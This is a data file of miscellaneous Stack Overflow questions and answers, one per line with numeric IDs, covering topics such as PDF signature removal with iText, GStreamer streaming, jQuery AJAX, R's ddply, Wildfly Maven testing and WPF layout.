2378063	0	 <ul> <li>If you make a Controller method with a different parameter name from <strong>id</strong> for a single parameter method, <em>you have to make a new route</em>. Just bite the bullet and use <strong>id</strong> (it doesn't care about the type) and explain it in the comments.</li> <li><p>Makes sure you name your parameters with <code>RedirectToAction</code> :</p> <p><code>return RedirectToAction("DonateToCharity", new { id = 1000 });</code></p></li> <li><p><a href="http://stackoverflow.com/questions/279665/how-can-i-maintain-modelstate-with-redirecttoaction">You lose your ViewData when you <code>RedirectToAction</code></a>.</p></li> </ul>
39919539	0	 <p>You can not remove keys from a dictionary in a signed document, and expect the signatures to remain valid. You can only remove the last signature that was added. If a document was signed by multiple people, and you want to remove the first signature, all subsequent signatures will be broken.</p> <p>This image explains why:</p> <p><a href="https://i.stack.imgur.com/7f0D7.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7f0D7.png" alt="enter image description here"></a></p> <p>This image shows that every new digital signature keeps the original bytes intact. With every new signature new bytes are added. Rev1 represents the bytes of a document that has 1 digital signature. Rev2 represents the bytes of a document that has 2 digital signatures. The second digital signatures signs Rev1 completely. If you'd remove the first signature, the second signature would become invalid.</p> <p>A digital signature is a special type of form field. With iText, you can get the names of the signature form fields of a PDF like this:</p> <pre><code>PdfReader reader = new PdfReader(path); AcroFields fields = reader.getAcroFields(); ArrayList&lt;String&gt; names = fields.getSignatureNames(); </code></pre> <p>You can only remove the signature that covers the whole document, for instance, if we have <code>"sig1"</code>, <code>"sig2"</code>, and <code>"sig3"</code> (added in that order), only <code>fields.signatureCoversWholeDocument("sig3")</code> will return true.</p> <p>You can get the total number of revisions like this: <code>fields.getTotalRevisions()</code> and a specific revision like this: <code>fields.getRevision("sig1")</code> (provided that there's a signature field named <code>"sig1"</code>).</p> <p>Suppose that the image represents your document, and you have to remove 1 signature, then you can only remove the third signature by removing all the bytes that were added in revision 3 (Rev3). With iText, that means going back to revision 2 (Rev2). That revision was signed using the signature field <code>sig2</code>. You can extract this revision like this:</p> <pre><code>FileOutputStream os = new FileOutputStream("revision2.pdf"); byte bb[] = new byte[1028]; InputStream ip = fields.extractRevision("sig2"); int n = 0; while ((n = ip.read(bb)) &gt; 0) os.write(bb, 0, n); os.close(); ip.close(); </code></pre> <p>The file <code>revision2.pdf</code> will be the file signed by <code>"sig1"</code> and <code>"sig2"</code> without the bytes that were added when creating <code>"sig3"</code>.</p>
27702422	0	Streaming H264 video for Logitech C920 using GStreamer produces a relief <p>I'm trying to stream the native H264 video from a Logitech C920 camera using GStreamer 1.2.4:</p> <pre><code>gst-launch-1.0 v4l2src ! video/x-h264,width=640,height=480,framerate=10/1 ! \ h264parse ! decodebin ! videoconvert ! ximagesink sync=false </code></pre> <p>This produces an image output which is a kind of a relief: <img src="https://i.stack.imgur.com/S3l8Z.png" alt="Relief image of Logitech C920 H264 stream"></p> <p>As soon as add more movement to the scene, the image quality improves but is still far away from being sufficent. I seems that anyhow the stable parts of the video stream are not decoded. </p> <p>Any ideas?</p> <p>I'm using gstreamer 1.2.4 on a Banana PI (Debian Wheezy)</p>
19401727	0	 <p>One alternative I can think of is Linked CSE. It is a CSE where you host the annotations (urls associated with labels, which decide whether url should be displayed or not) lives on your own server.</p> <p>Because you are not pushing the annotations to Google, you don't incur indexing cost.</p> <p><a href="https://developers.google.com/custom-search/docs/linked_cse" rel="nofollow">https://developers.google.com/custom-search/docs/linked_cse</a> </p>
40288524	0	 <p>You could use Spring JDBC to populate data in your application.</p> <p>Here you have example how to use it:</p> <p><a href="http://docs.spring.io/spring-boot/docs/current/reference/html/howto-database-initialization.html#howto-initialize-a-database-using-spring-jdbc" rel="nofollow">http://docs.spring.io/spring-boot/docs/current/reference/html/howto-database-initialization.html#howto-initialize-a-database-using-spring-jdbc</a></p> <p>But better solution could be using Flyway or Liquibase. How to use this tools is also described in spring documentation.</p>
18219240	0	 <p>You need to rethink your question. You don't want the 'string' to be case insensitive, but much rather your comparison to realize, that HKCU is the same as Hkcu or hKcU.</p> <p>For this end, there's a number of options, one of which is the already mentioned function <code>stricmp</code>. Prototype is:</p> <pre><code>#include &lt;string.h&gt; int stricmp(const char *string1, const char *string2); </code></pre> <p>Meaning, you'd use it like:</p> <pre><code>if(stricmp(argv[2], "HKCU") == 0) { } </code></pre> <p>Another option is the <code>strcasecmp</code> function which operates similarly.</p> <p>Hope this helps.</p>
40964304	0	 <p>You might want to check out: <a href="http://www.sqltolinq.com/" rel="nofollow noreferrer">http://www.sqltolinq.com/</a></p> <p>Linqer is a SQL to LINQ converter tool. It helps you to learn LINQ and convert your existing SQL statements.</p> <p>Not every SQL statement can be converted to LINQ, but Linqer covers many different types of SQL expressions.</p> <p>Lets assume you have Table1 and Table2 in an EF dbcontext.</p> <pre><code>from Table1 in context from Table2 in context .Where(t2=&gt; t2.ID == Table1.ID &amp;&amp; t2.example == null).DefaultIfEmpty() select new { id= Table1.ID ,test = Table1.Test ,test2 = Table2.Test } </code></pre>
18317083	0	Editing HTML5 LocalStorage through a function <p>I want to be able to add an "Ignore List" with the results being saved on the users browser.</p> <p>The Ignored List is saved as a JSON array and looks like this:</p> <pre><code>[{"username":"test_user","date_added":"19/08/13","description":"Don't like this person."},{"username":"test_user_2","date_added":"19/08/13","description":"Don't like this person."}] </code></pre> <p>And the function required to add the users look like this:</p> <pre><code>function add_to_ignore_list() { var ignored_users = localStorage.getItem("ignore_list"); // returns ignore list var username = return_current_username(); // returns test_user3 var date = return_current_date(); // returns 19/08/13 var description = prompt("Why do you want to ignore this user?"); // returns desc add_to_list = { "username" : username, "date_added" : date, "description" : description }; ignored_users.push(add_to_list); localStorage["ignore_list"] = JSON.stringify(ignored_users); $(".user_wrapper").css("background-color","#B40404"); } </code></pre> <p>For some reason it isn't working and I can't see why Please help.</p>
4451251	0	 <p>On the server people are not obliged to use a specific language, and JavaScript is so free-form that code becomes very difficult to maintain.</p> <p>That's why the largest percentage of people choose something else.</p>
4000173	0	MIPS Register comparator <p>Given two input registers in MIPS: $t0, $t1</p> <p>How would you figure out which one is bigger without using branches?</p>
32612324	0	How to subset data for a specific column with ddply? <p>I would like to know if there is a simple way to achieve what I describe below using <code>ddply</code>. My data frame describes an experiment with two conditions. Participants had to select between options <em>A</em> and <em>B</em>, and we recorded how long they took to decide, and whether their responses were accurate or not. </p> <p>I use <code>ddply</code> to create averages by condition. The column <code>nAccurate</code> summarizes the number of accurate responses in each condition. I also want to know how much time they took to decide and express it in the column <code>RT</code>. However, I want to calculate average response times <strong>only when participants got the response right</strong> (i.e. <code>Accuracy==1</code>). Currently, the code below can only calculate average reaction times for all responses (accurate and inaccurate ones). Is there a simple way to modify it to get average response times computed only in accurate trials?</p> <p>See sample code below and thanks!</p> <pre><code>library(plyr) # Create sample data frame. Condition = c(rep(1,6), rep(2,6)) #two conditions Response = c("A","A","A","A","B","A","B","B","B","B","A","A") #whether option "A" or "B" was selected Accuracy = rep(c(1,1,0),4) #whether the response was accurate or not RT = c(110,133,121,122,145,166,178,433,300,340,250,674) #response times df = data.frame(Condition,Response, Accuracy,RT) head(df) Condition Response Accuracy RT 1 1 A 1 110 2 1 A 1 133 3 1 A 0 121 4 1 A 1 122 5 1 B 1 145 6 1 A 0 166 # Calculate averages. avg &lt;- ddply(df, .(Condition), summarise, N = length(Response), nAccurate = sum(Accuracy), RT = mean(RT)) # The problem: response times are calculated over all trials. I would like # to calculate mean response times *for accurate responses only*. avg Condition N nAccurate RT 1 6 4 132.8333 2 6 4 362.5000 </code></pre>
28846495	0	 <p>Try the following code.</p> <pre><code>function checkDate(theForm) { var a = theForm.date1.value; var b = theForm.date2.value; var date1 = new Date(a); var date2 = new Date(b); date1.setHours(date1.getHours() - 9); date2.setHours(date2.getHours() - 9); document.getElementById("demo").innerHTML = "Date 1 : " + date1.toString() + "&lt;br/&gt;Date 2 : " + date2.toString(); return false; } </code></pre>
36054215	0	lwip tcp payload length is changing <p>I am using lwip tcp for streaming data from sensor to a server program running in a PC(linux).My TCP_MSS is 1160, even though it sending packets of size 462,which is normal. But while doing so suddenly my packet size is changed to 1160 and after sending a few packets of size 1160 the connection is getting terminated by sending FIN packet. Why? I am getting the ACKs also from the server side. There is no congestion or any other network issue. </p>
7379311	0	 <p>Instead of using $.getJSON, you can use $.ajax and set the cache option to false. I think that sound fix the issue.</p> <pre><code>$("#loginForm").submit(function(e) { var form = $(this); $.ajax({ type: 'GET', url: "cfcs/security.cfc?method=processLogin&amp;ajax=1&amp;returnformat=JSON&amp;queryformat=column&amp;" + form.serialize(), dataType: "json", cache: false, success: function(json) { // everything is ok. (server returned true) if (json === true) { // close the overlay triggers.eq(0).overlay().close(); $("#loginMenu").html("&lt;a href='logout.cfm'&gt;Log out&lt;/a&gt;"); // server-side validation failed. use invalidate() to show errors } else if (json === "More than five") { var tempString tempString = "&lt;h2&gt;Too many failed logins &lt;/h2&gt;" $("#loginMsg").html(tempString); triggers.eq(0).overlay().close(); $("#toomanylogins").overlay().load(); } else { var tempString tempString = "&lt;h2&gt;" + json + " failed logins&lt;/h2&gt;" $("#loginMsg").html(tempString); } } }); // prevent default form submission logic e.preventDefault(); }); // initialize validator and add a custom form submission logic $("#signupForm").validator().submit(function(e) { var form = $(this); // client-side validation OK. if (!e.isDefaultPrevented()) { // submit with AJAX $.ajax({ type: 'GET', url: "cfcs/security.cfc?method=processSignup&amp;returnformat=JSON&amp;queryformat=column&amp;" + form.serialize(), dataType: "json", cache: false, success: function(json) { // everything is ok. (server returned true) if (json === true) { // close the overlay triggers.eq(1).overlay().close(); $("#loginMenu").html("&lt;a href='logout.cfm'&gt;Log out&lt;/a&gt;"); // server-side validation failed. use invalidate() to show errors } else { form.data("validator").invalidate(json); } } }); // prevent default form submission logic e.preventDefault(); } }); </code></pre>
34014302	0	 <p>Now you could zoom to bounds with <strong>.newLatLngBounds()</strong> method:</p> <pre><code>map.animateCamera(CameraUpdateFactory.newLatLngBounds(place.getViewport(), 10)); // 10 is padding </code></pre> <p>It will move and zoom to given bounds, so they all visible on a screen (e.g. different zoom for city or country). It works perfectly with location search.</p>
14083126	0	How can the onMouseWheel event be caught and stopped from being handled elsewhere <p>I would like to catch the <code>onMouseWheel</code> event for the whole page (for context I am doing custom scrolling) but need to stop everything else on the page handling it too. How could this be done?</p> <p>Thanks in advance.</p>
8209930	0	How to set child li attribute based on the parent li attribute using Jquery? <p>I have the menu structure like below,</p> <pre><code>&lt;div class="submenu"&gt; &lt;ul class="treeview"&gt; &lt;li class="submenu" id="menu-item-5592" style="background-image: url('open.gif');"&gt; &lt;a href="/Products/Category/Large-Custom-Water-Features"&gt;Large Custom Water Features&lt;/a&gt; &lt;ul class="sub-menu" rel="open" style="display: block;"&gt; &lt;li class="submenu" &gt; &lt;ul class="submenu" rel="closed" style="disply:none;"&gt; &lt;li&gt;&lt;/li&gt; &lt;li&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>In the above menu the whole li has <code>style="background-image: url('open.gif');"</code>. previously it was <code>style="background-image: url('closed.gif');"</code>.</p> <p>the above attribute set when i clicked that link. i need when i click that link the i needt to change display attribute from <code>&lt;ul class="submenu" rel="closed" style="display:none;"&gt;</code> to <code>&lt;ul class="submenu" rel="closed" style="display:block;"&gt;</code></p> <p>how can i do this?</p>
787436	0	How to set width to 100% in WPF <p>Is there any way how to tell component in <strong>WPF</strong> to take 100% of available space? </p> <p>Like </p> <pre><code>width: 100%; </code></pre> <p>in CSS </p> <p>I've got this XAML, and I don't know how to force Grid to take 100% width.</p> <pre><code>&lt;ListBox Name="lstConnections"&gt; &lt;ListBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;Grid Background="LightPink"&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition Width="Auto"/&gt; &lt;ColumnDefinition Width="Auto"/&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;TextBlock Grid.Row="0" Grid.Column="0" Text="{Binding Path=User}" Margin="4"&gt;&lt;/TextBlock&gt; &lt;TextBlock Grid.Row="0" Grid.Column="1" Text="{Binding Path=Password}" Margin="4"&gt;&lt;/TextBlock&gt; &lt;TextBlock Grid.Row="1" Grid.Column="0" Grid.ColumnSpan="2" Text="{Binding Path=Host}" Margin="4"&gt;&lt;/TextBlock&gt; &lt;/Grid&gt; &lt;/DataTemplate&gt; &lt;/ListBox.ItemTemplate&gt; &lt;/ListBox&gt; </code></pre> <p>Result looks like </p> <p><img src="http://foto.darth.cz/pictures/wpf_width.jpg" alt="alt text"></p> <p>I made it pink so it's obvious how much space does it take. I need to make the pink grid 100% width.</p>
36447203	0	 <p>If you don't mind losing all the data, you can run </p> <pre><code>rake db:drop </code></pre> <p>BIG CAVEAT - this will delete your database and all your data.</p> <p>Then you can run</p> <pre><code>rake db:create db:migrate </code></pre> <p>If this is a new app, exists solely on your localhost i.e. has not been deployed to production, and you don't mind losing all your data, then this option is fine.</p> <p>Generally, I would recommend not amending your migrations but creating new ones to change column names etc.</p>
32014132	0	 <p>Yes, multiple directives creating their own isolate and/or child scopes (both could require <code>scope: true</code>, though) is not allowed, which is unfortunate, if only because with <code>scope: {}</code> binding to attributes is so effortless.</p> <p>But, you could still achieve the same result by doing a bit more manual work and using the <code>$parse</code> service. Here's an illustrative example of how to achieve two-way binding:</p> <pre><code>.directive("foo", function($parse){ return { restrict: "A", link: function(scope, element, attrs){ var fooGetFn = $parse(attrs.foo), fooSetFn = fooGetFn.assign; var foo0 = fooGetFn(scope); // get the current value of foo expression // watch for changes in foo expression scope.$watch( function(){ return fooGetFn(scope); }, function fooWatchAction(newVal, oldVal){ // do whatever needed }); // set value to foo expression, if it's assignable if (fooSetFn) fooSetFn(scope, "abc"); } } }); </code></pre> <p>You could do the same with <code>bar</code> and have them working side-by-side:</p> <pre><code>&lt;div foo="vm.p1" bar="vm.p2"&gt; </code></pre> <p>In your specific case, you don't even need to assign the value back since you are only assigning to properties of the bound object (which you only need to get), so it is simpler.</p> <p>Here's your forked <strong><a href="http://jsfiddle.net/7an9dc9o/" rel="nofollow">fiddle</a></strong> that works.</p>
24411388	0	 <p>Since a list comprehension definitionally generates another list, you can't use it to generate a single value. The aren't <em>for</em> that. (Well... there is <a href="http://stackoverflow.com/a/16632125/12779">this nasty trick</a> that uses a leaked implementation detail in old versions of python that can do it. I'm not even going to copy the example code here. Don't do this.)</p> <p>If you're worried about the stylistic aspects of <code>reduce()</code> and its ilk, don't be. Name your reductions and you'll be fine. So while:</p> <pre><code>all_union = reduce(lambda a, b: a.union(b), L[1:], L[0]) </code></pre> <p>isn't great, this:</p> <pre><code>def full_union(input): """ Compute the union of a list of sets """ return reduce(lambda a, b: a.union(b), input[1:], input[0]) result = full_union(L) </code></pre> <p>is pretty clear.</p> <p>If you're worried about <em>speed,</em> check out the <a href="https://pypi.python.org/pypi/toolz/" rel="nofollow">toolz</a> and <a href="https://pypi.python.org/pypi/cytoolz/0.6.1" rel="nofollow">cytoolz</a> packages, which are 'fast' and 'insanely fast,' respectively. On large datasets, they'll often let you avoid processing your data more than once or loading the whole set in memory at once, in contrast to list comprehensions.</p>
11395304	0	How to call the callback in a CakePhp Component? <p>I'm using CakePhp 2.2 and I have this simple controller, named <strong>ProvidersController</strong>:</p> <pre><code>&lt;?php class ProvidersController extends AppController { public $components = array('Session', 'Social'); public $layout = false; public function facebook(){ $this-&gt;Social-&gt;auth('facebook', 'success', 'error'); $this-&gt;render(false); } public function google(){ $this-&gt;Social-&gt;auth('google', 'success', 'error'); $this-&gt;render(false); } private function success(){ } private function error(){ } } ?&gt; </code></pre> <p>and this Component, named <strong>SocialComponent</strong>:</p> <pre><code>&lt;?php class SocialComponent extends Component { public function auth($provider, $success, $error){ } } ?&gt; </code></pre> <p>as you can see I have created success() and error() methods inside the controller. Now I pass these names and I would like to call them back from the component.</p> <p>I only pass the name of the callback, how to call them from the component?</p> <p>Thank you!</p>
30150872	0	 <p>Here's the basic pattern, see comments:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>// === Projectile // The constructor function Projectile(x, y) { // Do things to initialize instances... this.x = x; this.y = y; } // Add some methods to its prototype Projectile.prototype.update = function() { // This is a method on `Projectile` snippet.log("Projectile#update"); }; Projectile.prototype.checkIfWallHit = function(){ snippet.log("Projectile#checkIfWallHit"); }; // ==== BasicShot // The constructor function BasicShot(x, y, left) { // Give Projectile a chance to do its thing Projectile.call(this, x, y); this.left = left; } // Hook it up to `Projectile` BasicShot.prototype = Object.create(Projectile.prototype); BasicShot.prototype.constructor = BasicShot; // JavaScript does this by default, so let's maintain it when replacing the object // Add methods to its prototype BasicShot.prototype.update = function() { snippet.log("BasicShot#update"); }; // === Usage snippet.log("Using Projectile"); var p = new Projectile(1, 2); p.update(); // Projectile#update p.checkIfWallHit(); // Projectile#checkIfWallHit snippet.log("Using BasicShot"); var c = new BasicShot(1, 2, 3); c.update(); // BasicShot#update p.checkIfWallHit(); // Projectile#checkIfWallHit</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!-- Script provides the `snippet` object, see http://meta.stackexchange.com/a/242144/134069 --&gt; &lt;script src="http://tjcrowder.github.io/simple-snippets-console/snippet.js"&gt;&lt;/script&gt;</code></pre> </div> </div> </p> <hr> <p>As of ES6, the next version of JavaScript, that gets a <strong>lot</strong> simpler:</p> <pre><code>// REQUIRES ES6!! class Projectile { constructor(x, y) { this.x = x; this.y = y; } update() { snippet.log("Projectile#update"); } checkIfWallHit() { snippet.log("Projectile#checkIfWallHit"); } }; class BasicShot extends Projectile { constructor(x, y, left) { super(x, y); this.left = left; } update() { snippet.log("BasicShot#update"); } } </code></pre> <p>It does the same thing as first example above under the covers, the new syntax is just syntactic sugar. But it's really good sugar.</p>
15481081	0	 <pre><code>iframe.style.visibility="hidden"; </code></pre> <p>and to show it:</p> <pre><code>iframe.style.visibility="visible"; </code></pre> <p>Edit: And you can use the onsubmit="JavaScriptCode" event to trigger the change.</p> <p>Reference: <a href="http://www.w3schools.com/jsref/event_form_onsubmit.asp" rel="nofollow">http://www.w3schools.com/jsref/event_form_onsubmit.asp</a></p>
2343990	0	 <p>Localization can be made quite simple in .NET or as complex as you like.</p> <p>The simpler way, would be to create localized resource DLL's for each supported language, and then set the <code>CultureInfo.CurrentUICulture</code> for the user's selected, or detected, language, falling back to a default (preferably English) in case the language isn't supported.</p> <p>And set up a watcher in case the of a language change.</p> <p>Some programs requires to reload, others simply to repaint (as it seems the case with the sample you provided).</p>
16605176	0	how to separate one array into two, base on its id using jquery <p>Im strugling with this array:</p> <p>first id = 1</p> <p>items for the second id = 12,21,34,33; </p> <p>second id = 2</p> <p>items for the second id = 21,12,34</p> <p>It looks like this in my array : </p> <p>arr = [12 1,21 1,34 1,33 1,21 2,12 2,34 2]</p> <p>i want to store it like this:</p> <p>id | item_id</p> <p>1 12</p> <p>1 21</p> <p>1 34</p> <p>1 33</p> <p>2 21</p> <p>2 12</p> <p>2 34</p> <p>here's my code :</p> <p>var item_id = new Array();</p> <p>$("td.items").each(function() {</p> <p>if(this){</p> <p>item_id.push($(this).attr('id'));</p> <p>}</p> <p>});</p>
36357032	0	 <p>If you just began, restart your project. If you want to build up a site, first check whether there are any core functions for your usage or not. If it can be done through them, do it like that, as this is better for updating your site. (Maybe your plugin will not be supported later on...)</p> <p>Then restart by building up your site: <br/> Category - Article - Menu <br/> Firstly, create the categories you wish. For example, you want the category "News" where you put news articles and a category "Events" where you put articles about your events.<br/> Secondly create some articles for your category. You can use the "read-more" to preview your articles in your blog.<br/> Last, create the menu. You can use a category blog and it's options to show your articles the way you want.</p>
15396003	0	 <pre><code>public static double MinIsNumber(double[,] array) { return array.Cast&lt;double&gt;() .Where(n =&gt; !double.IsNaN(n)) .Min(); } </code></pre>
9805110	0	 <p>I think the reason you found it difficult to find the source code is that <code>getcontext</code> and <code>setcontext</code> are (generally?) <strong>implemented in assembly</strong> than in C. Here are the source codes</p> <p><a href="http://www.koders.com/noncode/fid466DE9347BF79B388783D3F5D94BAF6748F618C9.aspx?s=readdir64" rel="nofollow">setcontext</a> and <a href="http://www.koders.com/noncode/fid62EE9446C4DEED004E74CD6D61D7C81435E413FE.aspx?s=queue" rel="nofollow">getcontext</a></p> <p>However, these assembly codes are not so easy to read. I think <code>man getcontext</code> is better. Anyways, good luck :)</p>
39505527	0	How to get current logged in user details in Twitter using API <p>I'm using Socialite to login using twitter and using Abrahams' TwitterOauth to make API working. In laravel, I've set API Key information as:</p> <pre><code>'twitter' =&gt; [ 'client_id' =&gt; '**************', 'client_secret' =&gt; '**************', 'access_token' =&gt; '***************', 'access_token_key' =&gt; '***************', 'redirect' =&gt; '***********', ], </code></pre> <p>To connect to Twitter I've used:</p> <pre><code>public function getTwitterConnection() { $this-&gt;connection = new TwitterOAuth(Config::get('services.twitter.client_id'), Config::get('services.twitter.client_secret'), Config::get('services.twitter.access_token'), Config::get('services.twitter.access_token_key')); } </code></pre> <p>Using Socialite, I'm able to make users login via their credentials. But while I try to access:</p> <pre><code>public function getCurrentLoggedInUser() { $this-&gt;getTwitterConnection(); return $this-&gt;connection-&gt;get("account/verify_credentials"); } </code></pre> <p>I'm getting the information of developer's twitter account i.e. mine. I think I'm not being able synchronize between Socialite and TwitterOauth. How can I fix this issue? Please suggest me the better way of getting the information of logged in user.</p>
31916340	0	 <p><strong>Swift</strong></p> <pre><code>UIApplication.sharedApplication().networkActivityIndicatorVisible = true </code></pre> <p><strong>Swift 3, XCode 8</strong> (Thanks @sasho)</p> <p><code>UIApplication.shared.isNetworkActivityIndicatorVisible = true</code></p>
11550956	0	The correct way to set a default search value in CakePHP <p>I have a CakePHP Application with many many screens using data from a specific model. Most of the time, I need a specific field to be checked against (like the "user_active=>1" example in the cookbook), however I'd still like to be able to specify that field as a condition and override the default. My code works, but is this the best way to do this?</p> <p>Also, the $queryData field is mixed — what are the possibilities other than array? just NULL?</p> <pre><code>&lt;?php public function beforeFind($queryData) { if(is_array($queryData)) { //query data was an array if(!is_array($queryData['conditions'])) { $queryData['conditions'] = array('Course.semester_id'=&gt;SEMESTER_ID); } else if (!isset($queryData['conditions']['Course.semester_id'])) { $queryData['conditions']['Course.semester_id'] = SEMESTER_ID; } } } ?&gt; </code></pre>
9662439	0	 <p>Try this <a href="https://github.com/gekitz/UIDevice-with-UniqueIdentifier-for-iOS-5" rel="nofollow">UIDevice-with-UniqueIdentifier-for-iOS-5</a>, it uses the device's <strong>mac address</strong> as unique identifier.</p>
6970217	0	 <p>I have found the best way to regain syntax coloring is just to quit Xcode and re-launch it. I couldn't tell you why, but that works every time.</p>
34371499	0	 <p>Alright three things here.</p> <p><strong>1.</strong> Your <code>res.end</code> is sending <code>Hell world</code> but it should send <code>data</code></p> <p><code>res.end("Hell World");</code></p> <p>should be</p> <p><code>res.end(data);</code></p> <p><em>This is because we want to display the index.html file not a hello world</em></p> <p><strong>2.</strong> Your index.html is calling the socket.io js file wrong</p> <p><code>&lt;script src="/node_modules/socket.io/socket.io.js"&gt;&lt;/script&gt;</code></p> <p>should be</p> <p><code>&lt;script src="/socket.io/socket.io.js"&gt;&lt;/script&gt;</code></p> <p><em>This is because you cannot reference a file like that because there is no logic for it in your code. socket.io does however have the logic for it and can be called this way</em></p> <p><strong>3.</strong> Use emit on the client side</p> <p>In your index.html change this code</p> <p><code>socket.on('dataChanged', function(data){console.log("Hello World")});</code></p> <p>to </p> <p><code>socket.emit('dataChanged', 'this is a test')</code></p> <p>and remove </p> <p><code>io.emit('dataChanged', 'this is a test')</code></p> <p>from your nodejs file</p> <p><strong>Now you can see Hello World from your console</strong></p>
34375670	0	 <p>According to <strong><a href="https://getcomposer.org/doc/00-intro.md#installation-linux-unix-osx" rel="nofollow">Composer docs</a></strong>:</p> <blockquote> <p>Note: On some versions of OSX the /usr directory does not exist by default. If you receive the error "/usr/local/bin/composer: No such file or directory" <strong>then you must create the directory manually</strong> before proceeding: mkdir -p /usr/local/bin.</p> </blockquote> <p>Hope this helps.</p>
10023924	0	 <p>If you don't mind adding an extra step of selecting the camera roll from an album list you can try changing your sourceType from SavedPhotoAlbums to PhotoLibrary:</p> <pre><code>imagePickerController.sourceType = UIImagePickerControllerSourceTypePhotoLibrary; </code></pre> <p>After selecting the desired album, the next photo selection view will show the most recent images at the bottom.</p>
35614007	0	 <p><a href="https://en.wikipedia.org/wiki/Apache_Thrift" rel="nofollow">Apache Thrift</a> was designed to communicate with high efficiency. It was developed by Facebook (now open source), and an implementation is <a href="https://thrift.apache.org/lib/csharp" rel="nofollow">available for C#</a>.</p> <p><a href="https://developers.google.com/protocol-buffers/" rel="nofollow">Google developed</a> the highly efficient <a href="https://en.wikipedia.org/wiki/Protocol_Buffers" rel="nofollow">protocol buffers</a> serialization mechanism. Protocol buffers does not include RPC (remote procedure call) but can be used to send data over a variety of transport mechanisms. It is also <a href="https://www.nuget.org/packages/protobuf-net/" rel="nofollow">available for C#</a> (project by SO's own Marc Gravell).</p>
26675319	0	 <p>you probably need to bind the context of the <code>resizeWindowFrame</code> function.</p> <pre><code>resizeMovieFrame: =&gt; </code></pre>
40380610	0	How to set up embedded WildFly server on the fly for testing with Maven <p>I have a question about how to set up an embedded Wildfly 10 server on the fly for integration testing.</p> <pre><code>&lt;!-- Loading Wildfly 10 on the fly and copy it into the target folder. --&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-dependency-plugin&lt;/artifactId&gt; &lt;executions&gt; &lt;execution&gt; &lt;id&gt;unpack&lt;/id&gt; &lt;phase&gt;process-test-classes&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;unpack&lt;/goal&gt; &lt;/goals&gt; &lt;configuration&gt; &lt;artifactItems&gt; &lt;artifactItem&gt; &lt;groupId&gt;org.wildfly&lt;/groupId&gt; &lt;artifactId&gt;wildfly-dist&lt;/artifactId&gt; &lt;version&gt;10.0.0.Final&lt;/version&gt; &lt;type&gt;zip&lt;/type&gt; &lt;overWrite&gt;false&lt;/overWrite&gt; &lt;outputDirectory&gt;target&lt;/outputDirectory&gt; &lt;/artifactItem&gt; &lt;/artifactItems&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;groupId&gt;org.wildfly.plugins&lt;/groupId&gt; &lt;artifactId&gt;wildfly-maven-plugin&lt;/artifactId&gt; &lt;version&gt;1.1.0.Alpha1&lt;/version&gt; &lt;configuration&gt; &lt;jbossHome&gt;target/wildfly-10.0.0.Final&lt;/jbossHome&gt; &lt;hostname&gt;127.0.0.1&lt;/hostname&gt; &lt;!-- &lt;port&gt;9990&lt;/port&gt; --&gt; &lt;filename&gt;${project.build.finalName}.war&lt;/filename&gt; &lt;java-opts&gt; &lt;java-opt&gt;-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005&lt;/java-opt&gt; &lt;/java-opts&gt; &lt;commands&gt; &lt;command&gt;/subsystem=logging/file-handler=debug:add(level=DEBUG,autoflush=true,file={"relative-to"=&gt;"jboss.server.log.dir", "path"=&gt;"debug.log"})&lt;/command&gt; &lt;command&gt;/subsystem=logging/logger=org.jboss.as:add(level=DEBUG,handlers=[debug])&lt;/command&gt; &lt;/commands&gt; &lt;/configuration&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;org.slf4j&lt;/groupId&gt; &lt;artifactId&gt;slf4j-log4j12&lt;/artifactId&gt; &lt;version&gt;1.6.4&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;package&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;deploy&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;execution&gt; &lt;id&gt;start-wildfly&lt;/id&gt; &lt;phase&gt;test-compile&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;run&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;execution&gt; &lt;id&gt;shutdown-wildfly&lt;/id&gt; &lt;phase&gt;test&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;shutdown&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; </code></pre> <p>First Maven download the server on the fly, saves it to the target folder. Later I want to copy a new standalone.xml, start the server, run the integration test and stop the server.</p> <p>Until now I can't see that I have started the server.</p> <pre><code>------------------------------------------------------- T E S T S ------------------------------------------------------- Running com.example.FunctionalTest Tests run: 1, Failures: 0, Errors: 1, Skipped: 0, Time elapsed: 0.071 sec &lt;&lt;&lt; FAILURE! - in com.example.FunctionalTest basicPingTest(com.example.FunctionalTest) Time elapsed: 0.07 sec &lt;&lt;&lt; ERROR! java.net.ConnectException: Connection refused at com.example.FunctionalTest.basicPingTest(FunctionalTest.java:39) Results : Tests in error: FunctionalTest.basicPingTest:39 » Connect Connection refused Tests run: 1, Failures: 0, Errors: 1, Skipped: 0 </code></pre> <p>Does anybody knows how to set up a Maven for start and stop a embedded Wildfly server, start the test cases and hopefully see some logging?</p>
6635674	0	CSS equivalent of <big> <p>What is the CSS equivalent of the <code>&lt;big&gt;</code> element? If I'm not mistaken then wrapping your text in the <code>&lt;big&gt;</code> element is not the same as setting a larger <code>font-size</code>.</p>
